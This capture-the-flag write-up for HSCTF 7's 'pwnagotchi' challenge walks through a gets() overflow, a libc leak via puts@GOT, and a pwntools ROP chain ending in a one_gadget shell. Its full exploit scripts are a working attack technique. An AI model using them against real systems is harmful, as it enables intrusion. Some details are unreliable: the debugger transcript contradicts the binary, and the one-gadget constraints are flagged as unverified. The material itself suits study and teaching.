HSCTF 7 / Published
pwnagotchi
A gets overflow with no canary leaks puts to fingerprint libc, then ROPs through the eat and zzz helpers to reach a one-gadget shell.
Contents 5
Files 1
- Target
- amd64
- RELRO
- Partial
- Canary
- Not found
- NX
- Enabled
- PIE
- Disabled
Have fun with your new pwnagotchi!
Connect to view your \ (•-•) / at
nc pwn.hsctf.com 5005Author: meow
Inspecting the binary
As with most pwn challenges, let’s start off by checking what kind of binary we’re given.
vagrant@ctf:/vagrant/challenges/hsctf/pwnagotchi$ file pwnagotchi
pwnagotchi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f8c34ef43ba5a8fbce8b89987797d88f7adbb31f, not strippedOkay, it’s just a 64 bit ELF binary. Let’s run it to get a better idea of what it does.
vagrant@ctf:/vagrant/challenges/hsctf/pwnagotchi$ ./pwnagotchi
Enter your pwnagotchi's name:
AAAAA
\ (•-•) /
AAAAA is not happy!
Finding the buffer overflow
Once we run the binary, it asks us for our name and repeats it back to us. Let’s disassemble the binary to get a better idea of what’s going on.
lea rdi, aEnterYourPwnag ; "Enter your pwnagotchi's name: "
call _puts
lea rax, [rbp+input]
mov rdi, rax
mov eax, 0
call _getsOh wow, seems like _gets is being used to get our input. That’s a red flag for a buffer overflow. Let’s test our hypothesis by trying it out in GDB. But first, let’s check the security features of this binary.
pwndbg> checksec
[*] '/vagrant/challenges/hsctf/pwnagotchi/pwnagotchi'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)Ok, there’s no canary so that makes things even easier.
pwndbg> r <<< $(python -c 'print "A"*128')
Starting program: /vagrant/challenges/hsctf/pwnagotchi/pwnagotchi <<< $(python -c 'print "A"*128')
Enter your pwnagotchi's name:
\ (•-•) /
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is not happy!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400988 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x0
RDX 0x7ffff7dd18c0 (_IO_stdfile_1_lock) ◂— 0x0
RDI 0x1
RSI 0x7fffffffb5c0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is not happy!\n'
R8 0x8f
R9 0x80
R10 0xffffff80
R11 0x246
R12 0x400700 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdd50 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x4141414141414141 ('AAAAAAAA')
RSP 0x7fffffffdc78 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
RIP 0x400988 (main+322) ◂— ret
─────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
► 0x400988 <main+322> ret <0x4141414141414141>
─────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdc78 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
... ↓
─────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
► f 0 400988 main+322
f 1 4141414141414141
f 2 4141414141414141
f 3 4141414141414141
f 4 4141414141414141
f 5 4141414141414141
f 6 4141414141414141
f 7 4141414141414141
f 8 4141414141414141
f 9 4141414141414141
f 10 4141414141414141
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────Leaking and identifying libc
Awesome, looks like we can overwrite RIP. Now we just need to call one_gadget to get a shell. However, there are a couple of issues we’ve got to deal with first. Firstly we don’t even know what version of libc is running on the server, and without that we wouldn’t be able to calculate address of one_gadget. Fortunately, there’s a simple solution to this: leak a few libc addresses and try to guess the version of libc based on their relative offsets from each other. The libc database search tool helps us achieve this easily. So let’s write a script to do just that.
#! /usr/bin/python2
from pwn import *
HOST = 'pwn.hsctf.com'
PORT = 5005
BINARY = './pwnagotchi'
elf = context.binary = ELF(BINARY)
# RIP Padding
p = process(BINARY)
p.sendline(cyclic(64, n = 8))
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
PAYLOAD_PADDING = cyclic_find(core.read(core.rsp, 8), n = 8)
log.success('Found padding length: {}'.format(PAYLOAD_PADDING))
# Start connection
r = remote(HOST, PORT)
# Stage 1: Build ROP Chain
# - Leak puts@libc
# - Call eat()
# - Call zzz()
# - Call main()
rop = ROP(elf)
rop.puts(elf.got.puts)
log.success('Built ROP Chain')
log.success(rop.dump())
# Stage 2: Leak puts@libc
r.recvuntil('Enter your pwnagotchi\'s name: \n')
r.sendline(fit({PAYLOAD_PADDING: rop.chain()}))
r.recvuntil('is not happy!\n')
libc_puts = u64(r.recvn(6) + '\x00\x00')
log.info('Leaked libc_puts: 0x{:x}'.format(libc_puts))Let’s start off by leaking the address of puts. The call puts(puts@GOT) passes the address of the GOT slot. The bytes read from that slot encode the resolved libc function pointer; the slot address and the function address are different values.
vagrant@ctf:/vagrant/challenges/hsctf/pwnagotchi$ python xpl.py
[*] '/vagrant/challenges/hsctf/pwnagotchi/pwnagotchi'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './pwnagotchi': pid 32049
[*] Process './pwnagotchi' stopped with exit code -11 (SIGSEGV) (pid 32049)
[+] Parsing corefile...: Done
[*] '/vagrant/challenges/hsctf/pwnagotchi/core.32049'
Arch: amd64-64-little
RIP: 0x400988
RSP: 0x7fffffffda98
Exe: '/vagrant/challenges/hsctf/pwnagotchi/pwnagotchi' (0x400000)
Fault: 0x6161616461616161
[+] Found padding length: 20
[+] Opening connection to pwn.hsctf.com on port 5005: Done
[*] Loaded cached gadgets for './pwnagotchi'
[*] Leaked libc_puts: 0x7fee5a7169c0Nice, so the libc address of puts is 0x7fee5a7169c0. Let’s try entering that into the libc database search.

Checking the second input path
Seems like it’s either going to be libc6_2.27-3ubuntu1_amd64 or libc6_2.3.6-0ubuntu20_i386_2. Since this is a 64 bit binary to begin with, we can conclude that the libc version is probably going to be libc6_2.27-3ubuntu1_amd64. Now that we can calculate the libc base address ergo calculate the address of one_gadget I suppose we’re golden right? Not quite. Let’s look at the following excerpt of disassembly that’s called before the program gets our input.
movzx eax, cs:once
test al, al
jz short loc_4008F8
movzx eax, cs:sleepy
test al, al
jnz short loc_4008D6
movzx eax, cs:hungry
test al, al
jz short loc_4008F8
loc_4008D6: ; "if (once && (sleepy || hungry))"
lea rdi, asc_400A2A ; "\n\\ ("
call _puts
lea rdi, aThisIsWeird ; "This is weird...\n"
call _puts
mov eax, 0
jmp locret_400987; Jump to end of main
loc_4008F8: ; else
mov cs:once, 1
lea rdi, aEnterYourPwnag ; "Enter your pwnagotchi's name: "
; /////////////////// Truncated ////////////////////////
locret_400987:
leave
retn
main endpTo send the second payload, we need the rejection condition once && (sleepy || hungry) to be false. Input is allowed when !once || (!sleepy && !hungry). In the supplied binary, (once, sleepy, hungry) starts at (0, 1, 1). The input branch sets once to 1 before calling gets, so returning directly to main after the first input would reject another input. The original debugger transcript follows.
pwndbg> r
Starting program: /vagrant/challenges/hsctf/pwnagotchi/pwnagotchi
Enter your pwnagotchi's name:
asdf
\ (•-•) /
asdf is not happy!
Breakpoint 1, 0x0000000000400982 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
► 0x400982 <main+316> mov eax, 0
0x400987 <main+321> leave
0x400988 <main+322> ret
────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdc60 ◂— 0x66647361ffffdd50
01:0008│ 0x7fffffffdc68 ◂— 0x3e800000000
02:0010│ rbp 0x7fffffffdc70 —▸ 0x400990 (__libc_csu_init) ◂— push r15
03:0018│ 0x7fffffffdc78 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax
04:0020│ 0x7fffffffdc80 ◂— 0x1
05:0028│ 0x7fffffffdc88 —▸ 0x7fffffffdd58 —▸ 0x7fffffffe09c ◂— '/vagrant/challenges/hsctf/pwnagotchi/pwnagotchi'
06:0030│ 0x7fffffffdc90 ◂— 0x100008000
07:0038│ 0x7fffffffdc98 —▸ 0x400846 (main) ◂— push rbp
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> print (char) once
$1 = 0 '\000'
pwndbg> print (char) sleepy
$2 = 1 '\001'
pwndbg> print (char) hungry
$3 = 1 '\001'The recorded once = 0 conflicts with the supplied binary: the input branch stores 1, and the ordinary first-pass path never clears it. The transcript’s origin cannot be established from the available evidence. For this binary, the state after the first input is (1, 1, 1). We therefore need to clear both sleepy and hungry before reentering main.
public eat
eat proc near
push rbp
mov rbp, rsp
lea rdi, s ; "om nom nom"
call _puts
mov cs:hungry, 0
nop
pop rbp
retn
eat endp
public zzz
zzz proc near
push rbp
mov rbp, rsp
lea rdi, aZzz ; "zzz..."
call _puts
call _rand
mov ecx, eax
mov edx, 55555556h
mov eax, ecx
imul edx
mov eax, ecx
sar eax, 1Fh
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea eax, [rdx+1]
mov edi, eax ; seconds
call _sleep
mov cs:sleepy, 0
nop
pop rbp
retn
zzz endpeat() clears hungry, and zzz() clears sleepy. With both flags zero, reentering main reaches gets even though once remains 1.
Building the final ROP exploit
Okay so let’s summarize our plan of attack:
-
First ROP Chain
- Leak the address of puts@libc (call
puts(puts@GOT)) - Calculate libc base address, then
one_gadgetaddress - Call
eat() - Call
zzz() - Call
main()
- Leak the address of puts@libc (call
-
Second ROP Chain
- Call
one_gadget
- Call
-
Profit
Now let’s write our exploit. Reaching the second input does not establish that the selected one-gadget’s runtime constraints hold. The script below records the solve, but those entry conditions have not been verified here.
#! /usr/bin/python2
from pwn import *
HOST = 'pwn.hsctf.com'
PORT = 5005
BINARY = './pwnagotchi'
elf = context.binary = ELF(BINARY)
libc = ELF('libc.so.6')
libc.symbols['one_gadget'] = 0x4f322
# RIP Padding
p = process(BINARY)
p.sendline(cyclic(64, n = 8))
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
PAYLOAD_PADDING = cyclic_find(core.read(core.rsp, 8), n = 8)
log.success('Found padding length: {}'.format(PAYLOAD_PADDING))
# Start connection
r = remote(HOST, PORT)
# Stage 1: Build ROP Chain
# - Leak puts@libc
# - Call eat()
# - Call zzz()
# - Call main()
rop = ROP(elf)
rop.puts(elf.got.puts)
rop.eat()
rop.zzz()
rop.main()
log.success('Built ROP Chain (Leak, eat, zzz, main)')
log.success(rop.dump())
# Stage 2: Leak puts@libc
r.recvuntil('Enter your pwnagotchi\'s name: \n')
r.sendline(fit({PAYLOAD_PADDING: rop.chain()}))
r.recvuntil('is not happy!\n')
libc_puts = u64(r.recvn(6) + '\x00\x00')
log.info('Leaked libc_puts: 0x{:x}'.format(libc_puts))
# Stage 3: Build ROP Chain (Call one_gadget)
libc.address = libc_puts - libc.symbols['puts']
log.info('Calculated libc base address : 0x{:x}'.format(libc.address))
rop1 = ROP([elf, libc])
rop1.one_gadget()
log.success('Built ROP Chain (Call one_gadget)')
log.success(rop1.dump())
# Stage 4: Pwn
r.recvuntil('Enter your pwnagotchi\'s name: \n')
r.sendline(fit({PAYLOAD_PADDING: rop1.chain()}))
r.interactive()
Result
Flag: flag{theyre_so_cute}